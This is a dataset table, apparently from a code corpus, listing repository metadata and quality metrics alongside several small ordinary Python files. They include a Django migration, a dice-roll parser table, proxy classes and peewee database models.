hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1281d81369a4c6bf19bbf01f56683fa868996e36 | 173 | py | Python | Source/decode.py | epires3/Senior-Design | 437e2cf55be1ddcb8d1bc4edd99af3c9d84a992e | [
"MIT"
] | null | null | null | Source/decode.py | epires3/Senior-Design | 437e2cf55be1ddcb8d1bc4edd99af3c9d84a992e | [
"MIT"
] | null | null | null | Source/decode.py | epires3/Senior-Design | 437e2cf55be1ddcb8d1bc4edd99af3c9d84a992e | [
"MIT"
] | null | null | null | import binascii
source = 'out.txt'
with open(source,'rb') as f:
content = f.read()
decode = binascii.unhexlify(content)
out = open('./hex.png','wb')
out.write(decode) | 24.714286 | 37 | 0.67052 | 26 | 173 | 4.461538 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144509 | 173 | 7 | 38 | 24.714286 | 0.783784 | 0 | 0 | 0 | 0 | 0 | 0.119048 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
129c762a39c31eceba15bb0672aaf33c7b9faffd | 78 | py | Python | URI/1 - INICIANTE/Python/1075 - Resto2.py | william-james-pj/LogicaProgramacao | 629f746e34da2e829dc7ea2e489ac36bb1b1fb13 | [
"MIT"
] | 1 | 2020-04-14T16:48:16.000Z | 2020-04-14T16:48:16.000Z | URI/1 - INICIANTE/Python/1075 - Resto2.py | william-james-pj/LogicaProgramacao | 629f746e34da2e829dc7ea2e489ac36bb1b1fb13 | [
"MIT"
] | null | null | null | URI/1 - INICIANTE/Python/1075 - Resto2.py | william-james-pj/LogicaProgramacao | 629f746e34da2e829dc7ea2e489ac36bb1b1fb13 | [
"MIT"
] | null | null | null | x = int(input())
for y in range(1,10000):
if(y % x == 2):
print(y) | 19.5 | 24 | 0.474359 | 15 | 78 | 2.466667 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12963 | 0.307692 | 78 | 4 | 25 | 19.5 | 0.555556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
129f8693f23de6384d220e77f4506c4238cc8ac6 | 1,782 | py | Python | dex_open_solver/core/config.py | gnosis/dex-open-solver | c5e75025b6b8b85c51dff45eeba43623b5e769fa | [
"Apache-2.0"
] | 9 | 2020-07-19T12:27:47.000Z | 2021-11-30T11:14:08.000Z | dex_open_solver/core/config.py | gnosis/dex-open-solver | c5e75025b6b8b85c51dff45eeba43623b5e769fa | [
"Apache-2.0"
] | 45 | 2020-03-30T18:06:50.000Z | 2021-02-16T10:20:09.000Z | dex_open_solver/core/config.py | gnosis/dex-open-solver | c5e75025b6b8b85c51dff45eeba43623b5e769fa | [
"Apache-2.0"
] | 5 | 2020-08-10T14:44:11.000Z | 2022-02-06T01:26:55.000Z | from .util import classproperty
class Config:
"""Configuration parameters for the solver."""
# Main problem parameters:
"""Minimum amount bought or sold in an order."""
MIN_TRADABLE_AMOUNT = 10000
"""Price of fee token."""
FEE_TOKEN_PRICE = int(1e18)
"""Maximum number of executed orders."""
MAX_NR_EXEC_ORDERS = 30
"""Minimum average fee payed per order on an admissible solution."""
MIN_AVERAGE_ORDER_FEE = 0
"""Minimum absolute fee payed per (non fee selling) order on "
"an admissible solution."""
MIN_ABSOLUTE_ORDER_FEE = 0
# Rounding parameters:
# Rational solver will enforce that tradable amounts are
# >= MIN_TRADABLE_AMOUNT * (1 + MIN_TRADABLE_AMOUNT_ROUNDING_TOL).
# This extra slack is to make sure the constraint won't be violated
# after rounding the solution to integers.
MIN_TRADABLE_AMOUNT_ROUNDING_TOL = 0.001
# Set maximum amount that might need to be rounded in terms of fee token:
# The assumption is that the solver will not incur float/int imprecisions
# for a single order that are higher in value than this constant.
# TODO: Monitor constant and eventually improve.
MAX_ROUNDING_VOLUME = 10**11
# Set assumed value for the error factor in the estimated prices:
# e.g., PRICE_ESTIMATION_ERROR = 10 means that the price can be off by a factor of 10.
# Larger error estimations lead to larger rounding buffers.
# TODO: Monitor constant and eventually improve.
PRICE_ESTIMATION_ERROR = 10
# Convenience method to compute effective min tradable amount.
@classproperty
def MIN_RATIONAL_TRADABLE_AMOUNT(self):
return int(
self.MIN_TRADABLE_AMOUNT * (1 + self.MIN_TRADABLE_AMOUNT_ROUNDING_TOL)
)
| 34.941176 | 90 | 0.71156 | 247 | 1,782 | 4.979757 | 0.481781 | 0.091057 | 0.096748 | 0.060976 | 0.180488 | 0.112195 | 0 | 0 | 0 | 0 | 0 | 0.02026 | 0.224467 | 1,782 | 50 | 91 | 35.64 | 0.869754 | 0.496072 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02 | 0 | 1 | 0.066667 | false | 0 | 0.066667 | 0.066667 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
12adf4f3ba5ead82efac118b194793454cbaabc3 | 819 | py | Python | scheduler/migrations/0025_auto_20181227_0749.py | janton42/reservationator | b5f8d64b39dcdd75525f83cf97a59e1c66ea4125 | [
"Unlicense"
] | 1 | 2018-12-28T04:18:14.000Z | 2018-12-28T04:18:14.000Z | scheduler/migrations/0025_auto_20181227_0749.py | janton42/reservationator | b5f8d64b39dcdd75525f83cf97a59e1c66ea4125 | [
"Unlicense"
] | null | null | null | scheduler/migrations/0025_auto_20181227_0749.py | janton42/reservationator | b5f8d64b39dcdd75525f83cf97a59e1c66ea4125 | [
"Unlicense"
] | null | null | null | # Generated by Django 2.1.3 on 2018-12-27 15:49
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('scheduler', '0024_auto_20181227_0744'),
]
operations = [
migrations.AlterField(
model_name='choice',
name='date',
field=models.DateField(null=True, verbose_name='Date'),
),
migrations.AlterField(
model_name='choice',
name='time',
field=models.TimeField(null=True, verbose_name='Time'),
),
migrations.AlterField(
model_name='event',
name='place',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='scheduler.Place'),
),
]
| 27.3 | 114 | 0.593407 | 86 | 819 | 5.546512 | 0.523256 | 0.050314 | 0.157233 | 0.18239 | 0.163522 | 0.163522 | 0 | 0 | 0 | 0 | 0 | 0.052721 | 0.282051 | 819 | 29 | 115 | 28.241379 | 0.758503 | 0.054945 | 0 | 0.347826 | 1 | 0 | 0.110104 | 0.029793 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.086957 | 0 | 0.217391 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
12aee3fea4d769b77491f4c6556725023e87523c | 286 | py | Python | jogos/separador_print.py | LeandroMelloo/curso_formacao_python_alura | 59650ba6ddece3856328ab01dd321ecd72e12634 | [
"Apache-2.0"
] | null | null | null | jogos/separador_print.py | LeandroMelloo/curso_formacao_python_alura | 59650ba6ddece3856328ab01dd321ecd72e12634 | [
"Apache-2.0"
] | null | null | null | jogos/separador_print.py | LeandroMelloo/curso_formacao_python_alura | 59650ba6ddece3856328ab01dd321ecd72e12634 | [
"Apache-2.0"
] | null | null | null | data_nascimento = 9
mes_nascimento = 10
ano_nascimento = 1985
print(data_nascimento, mes_nascimento, ano_nascimento, sep="/", end=".\n")
contador = 1
while(contador <= 10):
print(contador)
contador = contador + 2
if(contador == 5):
contador = contador + 2
| 22 | 74 | 0.653846 | 35 | 286 | 5.171429 | 0.485714 | 0.265193 | 0.187845 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058559 | 0.223776 | 286 | 13 | 75 | 22 | 0.756757 | 0 | 0 | 0.2 | 0 | 0 | 0.013937 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
12bd20cd185d52bc7a08b689380a79ac9799949b | 6,724 | py | Python | xmonitor/glare/domain/proxy.py | froyobin/xmonitor | 092dcaa01f834353ffd8dd3c40edf9e97543bfe8 | [
"Apache-2.0"
] | null | null | null | xmonitor/glare/domain/proxy.py | froyobin/xmonitor | 092dcaa01f834353ffd8dd3c40edf9e97543bfe8 | [
"Apache-2.0"
] | null | null | null | xmonitor/glare/domain/proxy.py | froyobin/xmonitor | 092dcaa01f834353ffd8dd3c40edf9e97543bfe8 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2015 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import collections
from xmonitor.common import exception as exc
from xmonitor.domain import proxy as image_proxy
def _proxy_artifact_property(attr):
def getter(self):
return self.get_type_specific_property(attr)
def setter(self, value):
return self.set_type_specific_property(attr, value)
return property(getter, setter)
class ArtifactHelper(image_proxy.Helper):
"""
Artifact-friendly proxy helper: does all the same as regular helper
but also dynamically proxies all the type-specific attributes,
including properties, blobs and dependencies
"""
def proxy(self, obj):
if obj is None or self.proxy_class is None:
return obj
if not hasattr(obj, 'metadata'):
return super(ArtifactHelper, self).proxy(obj)
extra_attrs = {}
for att_name in obj.metadata.attributes.all.keys():
extra_attrs[att_name] = _proxy_artifact_property(att_name)
new_proxy_class = type("%s(%s)" % (obj.metadata.type_name,
self.proxy_class.__module__),
(self.proxy_class,),
extra_attrs)
return new_proxy_class(obj, **self.proxy_kwargs)
class ArtifactRepo(object):
def __init__(self, base, proxy_helper=None, item_proxy_class=None,
item_proxy_kwargs=None):
self.base = base
if proxy_helper is None:
proxy_helper = ArtifactHelper(item_proxy_class, item_proxy_kwargs)
self.helper = proxy_helper
def get(self, *args, **kwargs):
return self.helper.proxy(self.base.get(*args, **kwargs))
def list(self, *args, **kwargs):
items = self.base.list(*args, **kwargs)
return [self.helper.proxy(item) for item in items]
def add(self, item):
base_item = self.helper.unproxy(item)
result = self.base.add(base_item)
return self.helper.proxy(result)
def save(self, item):
base_item = self.helper.unproxy(item)
result = self.base.save(base_item)
return self.helper.proxy(result)
def remove(self, item):
base_item = self.helper.unproxy(item)
result = self.base.remove(base_item)
return self.helper.proxy(result)
def publish(self, item, *args, **kwargs):
base_item = self.helper.unproxy(item)
result = self.base.publish(base_item, *args, **kwargs)
return self.helper.proxy(result)
class Artifact(object):
def __init__(self, base, proxy_class=None, proxy_kwargs=None):
self.base = base
self.helper = ArtifactHelper(proxy_class, proxy_kwargs)
# it is enough to proxy metadata only, other properties will be proxied
# automatically by ArtifactHelper
metadata = _proxy_artifact_property('metadata')
def set_type_specific_property(self, prop_name, value):
setattr(self.base, prop_name, value)
def get_type_specific_property(self, prop_name):
try:
return getattr(self.base, prop_name)
except AttributeError:
raise exc.ArtifactInvalidProperty(prop=prop_name)
def __pre_publish__(self, *args, **kwargs):
self.base.__pre_publish__(*args, **kwargs)
class ArtifactFactory(object):
def __init__(self, base,
artifact_proxy_class=Artifact,
artifact_proxy_kwargs=None):
self.artifact_helper = ArtifactHelper(artifact_proxy_class,
artifact_proxy_kwargs)
self.base = base
def new_artifact(self, *args, **kwargs):
t = self.base.new_artifact(*args, **kwargs)
return self.artifact_helper.proxy(t)
class ArtifactBlob(object):
def __init__(self, base, artifact_blob_proxy_class=None,
artifact_blob_proxy_kwargs=None):
self.base = base
self.helper = image_proxy.Helper(artifact_blob_proxy_class,
artifact_blob_proxy_kwargs)
size = _proxy_artifact_property('size')
locations = _proxy_artifact_property('locations')
checksum = _proxy_artifact_property('checksum')
item_key = _proxy_artifact_property('item_key')
def set_type_specific_property(self, prop_name, value):
setattr(self.base, prop_name, value)
def get_type_specific_property(self, prop_name):
return getattr(self.base, prop_name)
def to_dict(self):
return self.base.to_dict()
class ArtifactProperty(object):
def __init__(self, base, proxy_class=None, proxy_kwargs=None):
self.base = base
self.helper = ArtifactHelper(proxy_class, proxy_kwargs)
def set_type_specific_property(self, prop_name, value):
setattr(self.base, prop_name, value)
def get_type_specific_property(self, prop_name):
return getattr(self.base, prop_name)
class List(collections.MutableSequence):
def __init__(self, base, item_proxy_class=None,
item_proxy_kwargs=None):
self.base = base
self.helper = image_proxy.Helper(item_proxy_class, item_proxy_kwargs)
def __len__(self):
return len(self.base)
def __delitem__(self, index):
del self.base[index]
def __getitem__(self, index):
item = self.base[index]
return self.helper.proxy(item)
def insert(self, index, value):
self.base.insert(index, self.helper.unproxy(value))
def __setitem__(self, index, value):
self.base[index] = self.helper.unproxy(value)
class Dict(collections.MutableMapping):
def __init__(self, base, item_proxy_class=None, item_proxy_kwargs=None):
self.base = base
self.helper = image_proxy.Helper(item_proxy_class, item_proxy_kwargs)
def __setitem__(self, key, value):
self.base[key] = self.helper.unproxy(value)
def __getitem__(self, key):
item = self.base[key]
return self.helper.proxy(item)
def __delitem__(self, key):
del self.base[key]
def __len__(self):
return len(self.base)
def __iter__(self):
for key in self.base.keys():
yield key
| 33.452736 | 78 | 0.665973 | 853 | 6,724 | 4.982415 | 0.198124 | 0.073412 | 0.031765 | 0.039529 | 0.409176 | 0.377176 | 0.308706 | 0.308706 | 0.268471 | 0.258353 | 0 | 0.001566 | 0.240333 | 6,724 | 200 | 79 | 33.62 | 0.830462 | 0.123438 | 0 | 0.312977 | 0 | 0 | 0.008709 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.274809 | false | 0 | 0.022901 | 0.061069 | 0.557252 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
12c70932a238a1b55c9f02e7306c09886d2b9d7a | 3,576 | py | Python | grammar/parsetab.py | Yumenio/DnDDiceBot | 02f47281265f870ca62635707b4cb147e64d1108 | [
"MIT"
] | null | null | null | grammar/parsetab.py | Yumenio/DnDDiceBot | 02f47281265f870ca62635707b4cb147e64d1108 | [
"MIT"
] | null | null | null | grammar/parsetab.py | Yumenio/DnDDiceBot | 02f47281265f870ca62635707b4cb147e64d1108 | [
"MIT"
] | null | null | null |
# parsetab.py
# This file is automatically generated. Do not edit.
# pylint: disable=W,C,R
_tabversion = '3.10'
_lr_method = 'LALR'
_lr_signature = 'leftplusminusnonassocadvdisadvadv dice disadv div minus newline number plus space star tabcommand : roll_list\n | mod_list\n |\n roll_list : roll\n | roll roll_list\n roll : number dice mod_list\n | number dice\n | dice mod_list\n | dice\n | number\n | number mod_list\n mod_list : mod\n | mod mod_list\n mod : plus number\n | minus number\n | star number\n | div number\n | adv\n | disadv\n '
_lr_action_items = {'$end':([0,1,2,3,4,5,6,7,12,13,14,15,16,17,18,19,20,21,22,23,],[-3,0,-1,-2,-4,-12,-10,-9,-18,-19,-5,-13,-7,-11,-8,-14,-15,-16,-17,-6,]),'number':([0,4,5,6,7,8,9,10,11,12,13,15,16,17,18,19,20,21,22,23,],[6,6,-12,-10,-9,19,20,21,22,-18,-19,-13,-7,-11,-8,-14,-15,-16,-17,-6,]),'dice':([0,4,5,6,7,12,13,15,16,17,18,19,20,21,22,23,],[7,7,-12,16,-9,-18,-19,-13,-7,-11,-8,-14,-15,-16,-17,-6,]),'plus':([0,5,6,7,12,13,16,19,20,21,22,],[8,8,8,8,-18,-19,8,-14,-15,-16,-17,]),'minus':([0,5,6,7,12,13,16,19,20,21,22,],[9,9,9,9,-18,-19,9,-14,-15,-16,-17,]),'star':([0,5,6,7,12,13,16,19,20,21,22,],[10,10,10,10,-18,-19,10,-14,-15,-16,-17,]),'div':([0,5,6,7,12,13,16,19,20,21,22,],[11,11,11,11,-18,-19,11,-14,-15,-16,-17,]),'adv':([0,5,6,7,12,13,16,19,20,21,22,],[12,12,12,12,-18,-19,12,-14,-15,-16,-17,]),'disadv':([0,5,6,7,12,13,16,19,20,21,22,],[13,13,13,13,-18,-19,13,-14,-15,-16,-17,]),}
_lr_action = {}
for _k, _v in _lr_action_items.items():
for _x,_y in zip(_v[0],_v[1]):
if not _x in _lr_action: _lr_action[_x] = {}
_lr_action[_x][_k] = _y
del _lr_action_items
_lr_goto_items = {'command':([0,],[1,]),'roll_list':([0,4,],[2,14,]),'mod_list':([0,5,6,7,16,],[3,15,17,18,23,]),'roll':([0,4,],[4,4,]),'mod':([0,5,6,7,16,],[5,5,5,5,5,]),}
_lr_goto = {}
for _k, _v in _lr_goto_items.items():
for _x, _y in zip(_v[0], _v[1]):
if not _x in _lr_goto: _lr_goto[_x] = {}
_lr_goto[_x][_k] = _y
del _lr_goto_items
_lr_productions = [
("S' -> command","S'",1,None,None,None),
('command -> roll_list','command',1,'p_command','parser.py',28),
('command -> mod_list','command',1,'p_command','parser.py',29),
('command -> <empty>','command',0,'p_command','parser.py',30),
('roll_list -> roll','roll_list',1,'p_roll_list','parser.py',41),
('roll_list -> roll roll_list','roll_list',2,'p_roll_list','parser.py',42),
('roll -> number dice mod_list','roll',3,'p_roll','parser.py',50),
('roll -> number dice','roll',2,'p_roll','parser.py',51),
('roll -> dice mod_list','roll',2,'p_roll','parser.py',52),
('roll -> dice','roll',1,'p_roll','parser.py',53),
('roll -> number','roll',1,'p_roll','parser.py',54),
('roll -> number mod_list','roll',2,'p_roll','parser.py',55),
('mod_list -> mod','mod_list',1,'p_mod_list','parser.py',71),
('mod_list -> mod mod_list','mod_list',2,'p_mod_list','parser.py',72),
('mod -> plus number','mod',2,'p_mod','parser.py',80),
('mod -> minus number','mod',2,'p_mod','parser.py',81),
('mod -> star number','mod',2,'p_mod','parser.py',82),
('mod -> div number','mod',2,'p_mod','parser.py',83),
('mod -> adv','mod',1,'p_mod','parser.py',84),
('mod -> disadv','mod',1,'p_mod','parser.py',85),
]
| 71.52 | 897 | 0.538031 | 675 | 3,576 | 2.684444 | 0.146667 | 0.083885 | 0.039735 | 0.04415 | 0.462472 | 0.321744 | 0.26766 | 0.18819 | 0.160596 | 0.142384 | 0 | 0.175009 | 0.178691 | 3,576 | 49 | 898 | 72.979592 | 0.441948 | 0.02349 | 0 | 0.051282 | 1 | 0.025641 | 0.451964 | 0.009464 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
12d3ba90ef05cf491f45a1da906cf2ae191b2512 | 1,250 | py | Python | semanticscholar/lazy.py | micahjsmith/pysemanticscholar | fa650c182668ae882d6a6178b053f2d42c39bbc3 | [
"MIT"
] | null | null | null | semanticscholar/lazy.py | micahjsmith/pysemanticscholar | fa650c182668ae882d6a6178b053f2d42c39bbc3 | [
"MIT"
] | null | null | null | semanticscholar/lazy.py | micahjsmith/pysemanticscholar | fa650c182668ae882d6a6178b053f2d42c39bbc3 | [
"MIT"
] | null | null | null | from jsonmodels.collections import ModelCollection
from jsonmodels.fields import ListField
from funcy import iterable, suppress
class LazyModelCollection(ModelCollection):
def _repr(self):
return super(LazyModelCollection, self).__repr__()
def __repr__(self):
# TODO if self is empty, then change repr
n = len(self)
s = 's' if n != 1 else ''
items_types = '(' + ', '.join(t.__name__ for t in self.field.items_types) + ')'
msg = '[...lazy list of types {items_types}...]'
return msg.format(n=n, s=s, items_types=items_types)
def __getitem__(self, key):
lazy_item = super(LazyModelCollection, self).__getitem__(key)
with suppress(Exception):
lazy_item.get()
return lazy_item
class LazyListField(ListField):
#def __get__(self, instance, owner):
# if
def get_default_value(self):
return LazyModelCollection(self)
def parse_value(self, values):
"""Cast value to proper collection."""
collection = self.get_default_value()
if not iterable(values):
values = [values]
for value in values:
collection.append(self._cast_value(value))
return collection
| 27.777778 | 87 | 0.6392 | 146 | 1,250 | 5.19863 | 0.410959 | 0.065876 | 0.028986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001078 | 0.2576 | 1,250 | 44 | 88 | 28.409091 | 0.81681 | 0.0912 | 0 | 0 | 0 | 0 | 0.039894 | 0 | 0.037037 | 0 | 0 | 0.022727 | 0 | 1 | 0.185185 | false | 0 | 0.111111 | 0.074074 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
12dd504b5f62049215e86bddbf195494196659ea | 1,311 | py | Python | src/models.py | oSoc20/sep-hackathon-solid | 49599ded5fc7d19b33daf52fe1251ae059c0f3c8 | [
"MIT"
] | 1 | 2020-07-08T11:17:05.000Z | 2020-07-08T11:17:05.000Z | src/models.py | oSoc20/sep-hackathon-solid-api | 49599ded5fc7d19b33daf52fe1251ae059c0f3c8 | [
"MIT"
] | 13 | 2020-07-14T11:36:35.000Z | 2020-07-28T12:24:22.000Z | src/models.py | oSoc20/solid-elections-api | 49599ded5fc7d19b33daf52fe1251ae059c0f3c8 | [
"MIT"
] | null | null | null | """
Postgresql database models.
"""
from peewee import Model, PostgresqlDatabase, CharField, DateTimeField
import datetime
from os import environ
db = PostgresqlDatabase(host=environ.get('PG_HOST'),
database=environ.get('PG_DBNAME'),
user=environ.get('PG_USER'),
password=environ.get('PG_PASS'),
autorollback=True)
# NOTE: peewee unfortunately does not support automatic schema migrations, so we have to handle this manually if we change a model.
# Fortunately the data we're storing is pretty simple, so this shouldn't happen a lot.
# If this does become an issue there are modules to handle this automatically, but I haven't been able to find one that is actively developed.
class BaseModel(Model):
"""A base model that will use our Postgresql database"""
class Meta:
database = db
class WebID(BaseModel):
"""
The model for linking the web ID uri to the lblod ID uri.
"uri" -- The web ID uri of the entry.
"lblod_id" -- The lblod ID uri of the entry.
""date_created" -- The date on which the entyr was created.
"""
uri = CharField(unique=True)
lblod_id = CharField(unique=True)
date_created = DateTimeField(default=datetime.datetime.now)
| 35.432432 | 142 | 0.668192 | 178 | 1,311 | 4.876404 | 0.533708 | 0.046083 | 0.0553 | 0.025346 | 0.034562 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.250953 | 1,311 | 36 | 143 | 36.416667 | 0.88391 | 0.49733 | 0 | 0 | 0 | 0 | 0.048622 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.066667 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
